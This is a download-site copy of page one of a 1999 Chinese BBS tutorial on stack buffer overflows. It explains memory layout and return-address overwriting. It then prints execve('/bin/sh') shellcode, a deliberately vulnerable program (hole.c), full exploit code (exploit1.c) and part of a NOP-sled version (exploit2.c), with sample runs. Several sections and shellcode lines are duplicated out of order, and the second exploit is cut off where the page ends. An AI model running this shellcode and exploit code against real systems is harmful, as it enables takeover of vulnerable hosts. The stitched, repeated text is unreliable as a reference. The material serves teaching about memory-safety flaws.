⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 00000003.htm

📁 一份很好的linux入门资料
💻 HTM
📖 第 1 页 / 共 2 页
字号:
<HTML><HEAD>  <TITLE>BBS水木清华站∶精华区</TITLE></HEAD><BODY><CENTER><H1>BBS水木清华站∶精华区</H1></CENTER>发信人:&nbsp;yyh&nbsp;(阿欢&amp;2000年终于快到了),&nbsp;信区:&nbsp;Linux&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>标&nbsp;&nbsp;题:&nbsp;isbase技术指南(一)-缓冲溢出,&nbsp;&nbsp;<BR>发信站:&nbsp;BBS&nbsp;水木清华站&nbsp;(Sun&nbsp;Dec&nbsp;12&nbsp;22:08:30&nbsp;1999)&nbsp;<BR>&nbsp;<BR>标&nbsp;&nbsp;题:&nbsp;isbase技术指南(一)&nbsp;<BR>-------------[&nbsp;绪论&nbsp;<BR>在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语&nbsp;<BR>言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。&nbsp;<BR>-------------[&nbsp;存储器结构&nbsp;<BR>(Memory&nbsp;organization)存储器分为3个部分&nbsp;<BR>1.&nbsp;文本区域(程序区)&nbsp;<BR>这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的&nbsp;<BR>操作都将导致错误.&nbsp;<BR>2.&nbsp;数据区域&nbsp;<BR>这个部分存储静态变量,它的大小可以由brk()系统调用来改变.&nbsp;<BR>3.&nbsp;堆栈&nbsp;<BR>堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆&nbsp;<BR>-------------[&nbsp;绪论&nbsp;<BR>在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语&nbsp;<BR>言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。&nbsp;<BR>-------------[&nbsp;存储器结构&nbsp;<BR>(Memory&nbsp;organization)存储器分为3个部分&nbsp;<BR>1.&nbsp;文本区域(程序区)&nbsp;<BR>这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的&nbsp;<BR>操作都将导致错误.&nbsp;<BR>2.&nbsp;数据区域&nbsp;<BR>这个部分存储静态变量,它的大小可以由brk()系统调用来改变.&nbsp;<BR>3.&nbsp;堆栈&nbsp;<BR>堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆&nbsp;<BR>栈的。在计算机科学里,这就是通常所指的后进先出(LIFO).堆栈是被设计&nbsp;<BR>用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这&nbsp;<BR>点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用&nbsp;<BR>点的,返回地址在过程被调用之前就被设置在堆栈中.&nbsp;<BR>它也被用来动态分配函数中的变量,以及函数的参数和返回值.&nbsp;<BR>-------------[&nbsp;返回地址和指令指针&nbsp;<BR>计算机执行一条指令,并保留指向下一条指令的指针(IP).当函数或过程被调用&nbsp;<BR>的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET).&nbsp;执行完成后,&nbsp;<BR>RET将会替换IP,程序接着继续执行本来的流程.&nbsp;<BR>-------------[&nbsp;一个缓冲溢出&nbsp;<BR>让我们用一个例子来说明以下缓冲溢出.&nbsp;<BR>&lt;++&gt;&nbsp;buffer/example.c&nbsp;<BR>void&nbsp;main(){&nbsp;<BR>char&nbsp;big_string[100];&nbsp;<BR>char&nbsp;small_string[50];&nbsp;<BR>memset(big_string,0x41,100);&nbsp;<BR>/*&nbsp;strcpy(char&nbsp;*to,char&nbsp;*from)&nbsp;*/&nbsp;<BR>strcpy(small_string,big_string);}&nbsp;<BR>&lt;--&gt;&nbsp;end&nbsp;of&nbsp;example.c&nbsp;<BR>这个程序用了两个数组,&nbsp;memset()&nbsp;给数组big_strings加入字符0x41&nbsp;(=&nbsp;A).&nbsp;<BR>然后它将big_string加到small_string中.很明显,数组small_string不能容纳&nbsp;<BR>100个字符,因此,溢出产生.&nbsp;<BR>接下来我们看看存储器中的变化情况:&nbsp;<BR>[&nbsp;big_string&nbsp;]&nbsp;[&nbsp;small_string&nbsp;]&nbsp;[SFP]&nbsp;[RET]&nbsp;<BR>在溢出中,SFP(Stack&nbsp;Frame&nbsp;Pointer)堆栈指针和&nbsp;RET返回地址都将被A覆盖掉.&nbsp;<BR>这就意味着RET要变为0x41414141(0x41是A十六进制的值).&nbsp;当函数被返回的时候,指&nbsp;<BR>令指针(Instruction&nbsp;Pointer)将会被已经复写了的RET替换.&nbsp;接着,计算机会试着去&nbsp;<BR>执行在0x41414141处的指令.&nbsp;这将会导致段冲突,因为这个地址已经超出了处理范围.&nbsp;<BR>--------------------[&nbsp;发掘漏洞&nbsp;<BR>现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下.&nbsp;<BR>不是用A来覆盖,而是用一些特别的地址来达到我们的目的.&nbsp;<BR>------------[&nbsp;任意代码的执行&nbsp;<BR>现在我们需要一些东西来指向地址并执行.&nbsp;在大多数情况下,我们需要产生一个&nbsp;<BR>shell,当然这不是唯一的方法.&nbsp;<BR>Before:&nbsp;<BR>FFFFF&nbsp;BBBBBBBBBBBBBBBBBBBBB&nbsp;EEEE&nbsp;RRRR&nbsp;FFFFFFFFFF&nbsp;<BR>B&nbsp;=&nbsp;the&nbsp;buffer&nbsp;<BR>E&nbsp;=&nbsp;stack&nbsp;frame&nbsp;pointer&nbsp;<BR>R&nbsp;=&nbsp;return&nbsp;address&nbsp;<BR>F&nbsp;=&nbsp;other&nbsp;data&nbsp;<BR>After:&nbsp;<BR>FFFFF&nbsp;SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF&nbsp;<BR>S&nbsp;=&nbsp;shellcode&nbsp;<BR>A&nbsp;=&nbsp;address&nbsp;pointing&nbsp;to&nbsp;the&nbsp;shellcode&nbsp;<BR>F&nbsp;=&nbsp;other&nbsp;data&nbsp;<BR>用C来产生shell的代码如下:&nbsp;<BR>&lt;++&gt;&nbsp;buffer/shell.c&nbsp;<BR>void&nbsp;main(){&nbsp;<BR>char&nbsp;*name[2];&nbsp;<BR>name[0]&nbsp;=&nbsp;&quot;/bin/sh&quot;;&nbsp;<BR>name[1]&nbsp;=&nbsp;0x0;&nbsp;<BR>execve(name[0],&nbsp;name,&nbsp;0x0);&nbsp;<BR>exit(0);&nbsp;<BR>}&nbsp;<BR>&lt;--&gt;&nbsp;end&nbsp;of&nbsp;shellcode&nbsp;<BR>这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的&nbsp;<BR>知识.那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用.对于那&nbsp;<BR>些想知道如何产生的人来说,可以根据以下的步骤来完成:&nbsp;<BR>-&nbsp;用&nbsp;-static&nbsp;flag&nbsp;开关来编译上面的程序&nbsp;<BR>-&nbsp;用GDB来打开上面的程序,然后用&quot;disassemble&nbsp;main&quot;&nbsp;命令&nbsp;<BR>-&nbsp;去掉所有不必要的代码&nbsp;<BR>-&nbsp;用汇编来重写它&nbsp;<BR>-&nbsp;编译,然后再用GDB打开,用&nbsp;&quot;disassemble&nbsp;main&quot;&nbsp;命令&nbsp;<BR>-&nbsp;在指令地址使用&nbsp;x/bx&nbsp;命令,找回&nbsp;hex-code.&nbsp;<BR>或者你可以使用这些代码&nbsp;<BR>char&nbsp;shellcode[]=&nbsp;<BR>&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&nbsp;<BR>&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&nbsp;<BR>&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&nbsp;<BR>&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&nbsp;<BR>&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&nbsp;<BR>------------[&nbsp;寻找地址&nbsp;<BR>当我们尝试去溢出一个程序的缓冲区的时候,&nbsp;这个程序要寻找这个缓冲区的地址.&nbsp;<BR>这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知&nbsp;<BR>道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了.&nbsp;<BR>下面这个程序会告诉我们这个程序的的堆栈指针:&nbsp;<BR>-&nbsp;去掉所有不必要的代码&nbsp;<BR>-&nbsp;用汇编来重写它&nbsp;<BR>-&nbsp;编译,然后再用GDB打开,用&nbsp;&quot;disassemble&nbsp;main&quot;&nbsp;命令&nbsp;<BR>-&nbsp;在指令地址使用&nbsp;x/bx&nbsp;命令,找回&nbsp;hex-code.&nbsp;<BR>或者你可以使用这些代码&nbsp;<BR>char&nbsp;shellcode[]=&nbsp;<BR>&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&nbsp;<BR>&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&nbsp;<BR>&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&nbsp;<BR>&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&nbsp;<BR>&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&nbsp;<BR>------------[&nbsp;寻找地址&nbsp;<BR>当我们尝试去溢出一个程序的缓冲区的时候,&nbsp;这个程序要寻找这个缓冲区的地址.&nbsp;<BR>这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知&nbsp;<BR>道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了.&nbsp;<BR>下面这个程序会告诉我们这个程序的的堆栈指针:&nbsp;<BR>&lt;++&gt;&nbsp;buffer/getsp.c&nbsp;<BR>unsigned&nbsp;long&nbsp;get_sp(void){&nbsp;<BR>__asm__(&quot;movl&nbsp;%esp,&nbsp;%eax);&nbsp;<BR>}&nbsp;<BR>void&nbsp;main(){&nbsp;<BR>fprintf(stdout,&quot;0x%x\n&quot;,get_sp());&nbsp;<BR>}&nbsp;<BR>&lt;--&gt;&nbsp;end&nbsp;of&nbsp;getsp.c&nbsp;<BR>------------[试一下下面这个例子&nbsp;<BR>&lt;++&gt;&nbsp;buffer/hole.c&nbsp;<BR>void&nbsp;main(int&nbsp;argc,char&nbsp;**argv[]){&nbsp;<BR>char&nbsp;buffer[512];&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;1)&nbsp;/*&nbsp;otherwise&nbsp;we&nbsp;crash&nbsp;our&nbsp;little&nbsp;program&nbsp;*/&nbsp;<BR>strcpy(buffer,argv[1]);&nbsp;<BR>}&nbsp;<BR>&lt;--&gt;&nbsp;end&nbsp;of&nbsp;hole.c&nbsp;<BR>&lt;++&gt;&nbsp;buffer/exploit1.c&nbsp;<BR>#include&nbsp;&lt;stdlib.h&gt;&nbsp;<BR>#define&nbsp;DEFAULT_OFFSET&nbsp;0&nbsp;<BR>#define&nbsp;DEFAULT_BUFFER_SIZE&nbsp;512&nbsp;<BR>char&nbsp;shellcode[]&nbsp;=&nbsp;<BR>&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&nbsp;<BR>&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&nbsp;<BR>&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&nbsp;<BR>unsigned&nbsp;long&nbsp;get_sp(void)&nbsp;{&nbsp;<BR>__asm__(&quot;movl&nbsp;%esp,%eax&quot;);&nbsp;<BR>}&nbsp;<BR>void&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;<BR>{&nbsp;<BR>char&nbsp;*buff,&nbsp;*ptr;&nbsp;<BR>long&nbsp;*addr_ptr,&nbsp;addr;&nbsp;<BR>int&nbsp;offset=DEFAULT_OFFSET,&nbsp;bsize=DEFAULT_BUFFER_SIZE;&nbsp;<BR>int&nbsp;i;&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;1)&nbsp;bsize&nbsp;=&nbsp;atoi(argv[1]);&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;2)&nbsp;offset&nbsp;=&nbsp;atoi(argv[2]);&nbsp;<BR>if&nbsp;(!(buff&nbsp;=&nbsp;malloc(bsize)))&nbsp;{&nbsp;<BR>printf(&quot;Can't&nbsp;allocate&nbsp;memory.\n&quot;);&nbsp;<BR>exit(0);&nbsp;<BR>}&nbsp;<BR>addr&nbsp;=&nbsp;get_sp()&nbsp;-&nbsp;offset;&nbsp;<BR>printf(&quot;Using&nbsp;address:&nbsp;0x%x\n&quot;,&nbsp;addr);&nbsp;<BR>ptr&nbsp;=&nbsp;buff;&nbsp;<BR>addr_ptr&nbsp;=&nbsp;(long&nbsp;*)&nbsp;ptr;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;bsize;&nbsp;i+=4)&nbsp;<BR>*(addr_ptr++)&nbsp;=&nbsp;addr;&nbsp;<BR>ptr&nbsp;+=&nbsp;4;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;strlen(shellcode);&nbsp;i++)&nbsp;<BR>*(ptr++)&nbsp;=&nbsp;shellcode[i];&nbsp;<BR>buff[bsize&nbsp;-&nbsp;1]&nbsp;=&nbsp;'\0';&nbsp;<BR>memcpy(buff,&quot;BUF=&quot;,4);&nbsp;<BR>putenv(buff);&nbsp;<BR>system(&quot;/bin/bash&quot;);&nbsp;<BR>}&nbsp;<BR>&lt;--&gt;&nbsp;end&nbsp;of&nbsp;exploit1.c&nbsp;<BR>现在我们可以猜出offset&nbsp;(bufferaddress&nbsp;=&nbsp;stackpointer&nbsp;+&nbsp;offset).&nbsp;<BR>[hosts]$&nbsp;exploit1&nbsp;600&nbsp;<BR>Using&nbsp;address:&nbsp;0xbffff6c3&nbsp;<BR>[hosts]$&nbsp;./hole&nbsp;$BUF&nbsp;<BR>[hosts]$&nbsp;exploit1&nbsp;600&nbsp;100&nbsp;<BR>Using&nbsp;address:&nbsp;0xbffffce6&nbsp;<BR>[hosts]$&nbsp;./hole&nbsp;$BUF&nbsp;<BR>segmentation&nbsp;fault&nbsp;<BR>etc.&nbsp;<BR>etc.&nbsp;<BR>就象你所知道的那样,这个过程几乎是不可能发生的,&nbsp;这样,我们不得不去猜出&nbsp;<BR>更精确的溢出地址.&nbsp;为了增加我们的机会,&nbsp;我们可以在我们的缓冲溢出的shellcode&nbsp;<BR>前加上&nbsp;NOP(空操作)指令.&nbsp;因为我们没有必要去猜出它精确的溢出地址来.&nbsp;<BR>而NOP指令用来延迟执行的.如果这个被覆写的返回地址指针在NOP串中,我们的代码&nbsp;<BR>就可以在下面一步执行了.&nbsp;<BR>存储器的内容应该是这样的:&nbsp;<BR>FFFFF&nbsp;NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF&nbsp;<BR>N&nbsp;=&nbsp;NOP&nbsp;<BR>S&nbsp;=&nbsp;shellcode&nbsp;<BR>A&nbsp;=&nbsp;address&nbsp;pointing&nbsp;to&nbsp;the&nbsp;shellcode&nbsp;<BR>F&nbsp;=&nbsp;other&nbsp;data&nbsp;<BR>我们把原先的代码改了一下.&nbsp;<BR>&lt;++&gt;&nbsp;buffer/exploit2.c&nbsp;<BR>#include&nbsp;&lt;stdlib.h&gt;&nbsp;<BR>#define&nbsp;DEFAULT_OFFSET&nbsp;0&nbsp;<BR>#define&nbsp;DEFAULT_BUFFER_SIZE&nbsp;512&nbsp;<BR>#define&nbsp;NOP&nbsp;0x90&nbsp;<BR>char&nbsp;shellcode[]&nbsp;=&nbsp;<BR>&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&nbsp;<BR>&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&nbsp;<BR>&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&nbsp;<BR>unsigned&nbsp;long&nbsp;get_sp(void)&nbsp;{&nbsp;<BR>__asm__(&quot;movl&nbsp;%esp,%eax&quot;);&nbsp;<BR>}&nbsp;<BR>void&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;<BR>{&nbsp;<BR>char&nbsp;*buff,&nbsp;*ptr;&nbsp;<BR>long&nbsp;*addr_ptr,&nbsp;addr;&nbsp;<BR>int&nbsp;offset=DEFAULT_OFFSET,&nbsp;bsize=DEFAULT_BUFFER_SIZE;&nbsp;<BR>int&nbsp;i;&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;1)&nbsp;bsize&nbsp;=&nbsp;atoi(argv[1]);&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;2)&nbsp;offset&nbsp;=&nbsp;atoi(argv[2]);&nbsp;<BR>if&nbsp;(!(buff&nbsp;=&nbsp;malloc(bsize)))&nbsp;{&nbsp;<BR>printf(&quot;Can't&nbsp;allocate&nbsp;memory.\n&quot;);&nbsp;<BR>exit(0);&nbsp;<BR>}&nbsp;<BR>addr&nbsp;=&nbsp;get_sp()&nbsp;-&nbsp;offset;&nbsp;<BR>printf(&quot;Using&nbsp;address:&nbsp;0x%x\n&quot;,&nbsp;addr);&nbsp;<BR>ptr&nbsp;=&nbsp;buff;&nbsp;<BR>addr_ptr&nbsp;=&nbsp;(long&nbsp;*)&nbsp;ptr;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;bsize;&nbsp;i+=4)&nbsp;<BR>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -